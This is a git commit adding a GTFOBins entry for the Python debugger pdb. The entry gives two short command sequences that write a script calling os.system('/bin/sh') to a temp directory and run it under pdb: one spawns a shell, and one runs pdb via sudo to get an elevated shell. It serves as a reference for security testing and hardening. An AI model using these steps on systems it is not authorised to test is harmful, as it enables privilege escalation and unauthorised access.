Create pdb.md

This commit is contained in:
bcoles 2020-03-15 16:39:31 +11:00 committed by Andrea Cardaci
parent 3e6ac9bcf3
commit 41124f24c2

15
_gtfobins/pdb.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
pdb $TF/x
cont
sudo:
- code: |
TF=$(mktemp -d)
echo 'import os; os.system("/bin/sh")' > $TF/x
sudo pdb $TF/x
cont
---